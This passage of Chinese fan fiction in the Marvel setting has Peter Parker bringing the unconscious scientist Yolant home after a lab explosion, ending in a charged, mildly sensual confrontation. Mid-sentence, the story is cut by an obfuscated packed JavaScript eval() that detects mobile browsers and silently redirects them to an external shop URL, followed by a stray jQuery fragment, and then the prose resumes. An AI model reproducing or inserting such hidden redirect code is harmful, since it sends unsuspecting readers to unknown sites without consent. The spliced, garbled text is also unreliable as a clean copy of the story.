都说了不会喜欢任何人,他就跟没听到一样。

    尤兰特眼前时而闪过他小时候的画面,被他抓着脑袋也不气恼,一次次从图书馆跑出来,把一摞摞书塞到他的怀里。

    “我们现在是朋友了吗?”

    “尤兰特,我们是朋友吧?”

    “尤兰特!”

    “尤兰特!”

    时而又是他贴着自己的脸颊,空气中充斥着老旧线路爆开的焦糊味,用于照明的灯光全部坏掉,他被牢牢圈在怀里,犹如闯入破败的巢穴。

    盘踞已久的蜘蛛终于捕获猎物,庞大的身躯覆盖在了猎物上面。

    那双手被战衣隔绝,不带任何温度,又好像比世界上所有的温度更高,穿过他的衣服,落在他的皮肤上。

    尤兰特知道那是幻觉。

    比之前强数百倍的伽马射线在瞬间穿透了一切,这个实验室、包括这栋建筑都在瞬间被摧毁,又在瞬间重建,距离最近的他受到的冲击最大。

    痛感还残留在这具身体里,所有的触碰都会导致神经更为敏感,仿佛初生的、最为细嫩娇弱的皮肤,就这么被动接受了他的拥抱。

    那些颤抖的手指,隔着战衣都能感受到的失序心跳全都在他的这里被放大,像是要把他融化在这个拥抱里。

    “尤兰特……”耳边传来他一声声的颤音,“尤兰特……”

    什么朋友?

    尤兰特恨不得把这些声音撕掉,就知道他没有看上去那么乖巧。

    谁会对朋友做这种事?

    他显然是知道尤兰特还没醒才这么大胆的。

    尤兰特被他从地上抱起来,那一瞬间,短暂蛰伏的思绪全都被激活了。

    地下室的景象映入他的脑中。

    那是由他亲自重建完成的,所有的物体都被辐射摧毁,又瞬间在他脑海中重现,恢复成了现在的样子。

    彼得抱着他,如同在他构建出的世界中行走,脚步灵巧地避开了那些被撞碎的玻璃,把他放到干净的地上。

    他在尤兰特的鼻尖蹭了蹭。

    战衣没有任何温度,大概是为了防毒,也隔绝了外界的呼吸。

    仿佛被某种微凉光滑的生物贴近,那一瞬间的危险和温柔交织,激起皮肤一阵颤栗。

    彼得在他面前轻声说:“我要去看看那台机器。”

    “希望没有被启动,拜托,千万不要被启动……”

    那是用来制作战争武器的,比外面能找到的设备危险了不知道多少,尤兰特还被关在里面……

    想到那个画面,彼得心脏忍不住缩紧。

    他的手万分留恋地从尤兰特身边离开,就在尤兰特以为这烦人的拥抱终于要结束的时候,他竟然又凑近了一点,在尤兰特的侧脸上蹭了蹭。

    ……属狗的吗?

    即便微弱的痒意也会在皮肤上停留很久,尤兰特忍不住想要推开他,这时他的身体一重,彼得不知道从哪找了件外套盖在他的身上。

    仿佛被黑暗笼罩,本就深陷泥潭的思绪越发沉了下去。

    尤兰特的意识变得凝滞而迟缓,只有彼得起身立定的身影格外清晰。

    他的脚步很轻,走路的时候习惯踮着脚,犹如跳舞一般,又如同蜘蛛从一张网跨越到另一张网上,只是几步就到了那台辐射光机面前。

    他歪头观察了片刻,伸出手指在上面戳戳按按。

    实验室的电路早就爆掉了,短路造成的火花还在天花板上闪烁,意识到这台机器根本启动不了,他走到旁边,把晕倒的埃尔默翻转过来。

    “嘿,醒醒,我有很重要的事……怎么是你?”

    “你不是尤兰特的助手吗?”

    他的声音惊讶,蹲在地上查看情况的身影差点跳起来,“天——怎么回事,怎么会是你,我竟然一直没发现……”

    他抬起手,像是想要抓自己的头发,然而最后却是挠了挠战衣的表面,然后继续低下头,戳戳埃尔默。

    “别睡了,我有很重要的事要问你,对我很重要。”

    他的语气很郑重,还带着点着急,在尤兰特的视角里,却好像一只萌萌的小动物围着地上的东西转来转去,用爪子不停地扒拉,实在让人紧张不起来。

    ——本应该是这样的。

    然而尤兰特身上还残留着被他拥抱的感觉。

    落在那仿佛新生的皮肤上的第一次触碰就是带着炽热情绪的拥抱,那些发颤的声音,还有一次次从他鼻尖、脸颊蹭过的痒意。

    就好像要在他的身上留下标记,把他身体的每一处都占满。

    尤兰特带着这些深深浅浅烙印下来的痕迹,看着他在那边毫无自觉地抓着另一个人,想尽办法想要把人弄醒。

    许久,又仿佛是一瞬间。

    “嗞——”“啪!”地一声响,头顶闪烁着火光的电线突然断掉,长长的电缆天花板垂下,彼得被惊得连忙站起来。

    然而就在他看过去的同时,天花板另一边用来固定管道的灯带也发出了声音,像是有东西要滑下来。

    彼得刚转过去,又听到身侧更近的地方传来了声响。

    仿佛有什么东西瞬间包围了上来,那一刹那蜘蛛感应拉到了顶点,就在这时,手电筒的光忽然从远处照进。

    远处的走廊传来几道重叠的脚步声,还有人的说话声。

    “……这么大型的设备,没有人接应很难运进来……”

    这是彼得不太熟悉的男人声音,听着有些沧桑,很有条理,接着是托尼·斯塔克不客气的声音。

    “所以你就让人写报告,其实是把那些设备放在这里当诱饵,看看谁会上钩?”

    托尼·斯塔克的语气带着讽刺:“真是神盾局的一贯作风。”

    “总之我没想到是埃尔默,我会查清这件事……”

    “不用了,我已经查到了。”托尼·斯塔克打断他说。

    两人的声音越来越近。

    尤兰特扬起的呼吸一顿,犹如蛰伏般沉寂下去,变得缓慢而安静。

    像是受不了那么多的声音,他的意识如同被搅进水缸里,那些声音忽高忽低地钻入耳朵,他的意识沉浸在最深处,仿佛被吸入了旋涡中,逐渐变得模糊。

    过了很久很久,有人抱住了他。

    还是那带着点熟悉的轻柔拥抱,他的身体开始向上升,强烈的失重感传来。

    他像是被人抛入了空中,却又很柔和的,有人托着他的身体,耳边的风声都钻入不了他的耳朵,那人护着他,在夜色中飞跃。

    微弱的月光落在那些发射出去的蛛丝上,立即变得耀眼起来,在城市间飞跃的蛛丝如同描绘着月光,细致又温柔。

    不到片刻,他已经到达目的地。

    阳台的落地窗外仍然贴着那张请勿打扰的纸,也不知道尤兰特用的是什么胶水,竟然没有被风吹掉。

    “我不是故意打扰你的……”

    彼得小声说着,伸手推开窗户进入。

    感受到风的存在,垂在落地窗旁的窗帘微微飘荡起来。

    彼得抱着尤兰特走进卧室,又说了一遍:“我不是故意打扰你的,你要是不高兴,现在就醒……”

    还没说完,他忽然感觉被自己放在肩膀上的,尤兰特环住他的双手动了动。

    等等、?!

    彼得脚下一绊,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873617|211837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下意识低头看去。

    尤兰特的脑袋埋在他的怀里,只能看到他长长的睫毛微微垂着,遮住了那双漂亮又冷淡的眼睛,隐约能看到精致的鼻梁,好像很适合戴眼镜,还有像是有些疲惫,比平时更淡一些的唇色。

    彼得故作镇定,实则僵在了原地,小心翼翼地喊了一声:“尤兰特?”

    没有任何反应。

    大概是刚才手没有放好……?彼得又瞄了一眼,还是有些忐忑,快步带着他走到房间里。

    “斯塔克先生说你是被电击器弄晕了,那台设备没有启动过,睡一觉就好了,睡醒了可能会有点头晕,还有心跳加速……”

    彼得语速飞快地说着,忽然意识到正在昏睡的人可能听不懂,连忙停下。

    他的声音从空气中消失,尤兰特尤兰特环住他的双手立即动了起来。

    仿佛僵硬了许久,又仿佛早已忍受不了,尤兰特推开了他,差点从他的怀抱跌到地上,彼得双手飞快伸出,想要接住人。

    那完全是条件反射,突如其来的危险感却在同一时间升起。

    如果在他面前的是其他人,彼得早就缩回了手,然而这一刻,他却更用力地抱紧了尤兰特。

    “扑通”一声,彼得的身体倒在地上。

    尤兰特撑在他的身体上方,那双绿眸不知道什么时候睁开,一瞬不瞬地注视着他。

    只有微弱的光线从窗外照进来,那双绿眸没由来的妖异。

    尤兰特垂下眼帘,像是有些不爽,手从按着彼得肩膀的位置,移到他的脖颈,微微按住他的喉咙。

    “不是故意打扰我……”

    “说谎。”

    明明进到这个房间里不知道有多开心,脚步都变得更轻了,心跳在加快。

    尤兰特的声音飘忽,意识还处在过度消耗当中,仿佛掌控着世界般在意识深处映出了整个房间的景象,还有这个——唯一的闯入者。

    他的身体已经跟不上意识的速度,说话有些慢吞吞的,咬字又格外清晰,还能看到舌尖和牙齿。

    彼得的身体瞬间绷紧。

    他贴在地面上,感受着那只手如同前几天那样侵入了面罩的连接处,摸到了他的脖颈。

    “别这样……”他的喉咙动了动,“我可以自己来……”

    然而尤兰特还是掀开了他的面罩。

    浓密的睫毛在他眼中投下一片阴影,他的眼中不再是微微抗拒的冷淡,而是另一种神色。

    彼得不知怎么忽然想起了很久以前,尤兰特的实验室里还有很多小动物的时候。

    那些小动物总是很黏他,他的肩膀上常常挂着一只,脑袋上顶着一只,脚边还有两只在打转,还有在天上飞的不知道什么时候就会炮弹一样冲进他的怀里。

    尤兰特从来不觉得麻烦,只有实验被打扰了,才会捏着小动物的后颈甩来甩去,挑出它们最喜欢的、最得意的羽毛,拿去染成最丑的颜色。

    最喜欢的、最得意的……羽毛……

    等彼得意识到的时候,已经来不及了。

    “不要!”

    话音未落,他的腰腹一凉。

    如同当初精准地找到面罩和战衣的连接处那样,他这次抓住了战衣的边缘,将他的上衣掀开了。

    那是面对不知道多少小动物捣乱训练出来的速度,彼得才刚开始的挣扎毫无用处。

    上衣迅速被扯掉,只剩下手掌包裹在战衣的袖子里,连带着衣服搅在一起。

    尤兰特按住他的双手。

    像是要把之前感受过的颤栗和痒意全都还给他一样,尤兰特低头凑近了他。

    “不许说谎。”他说。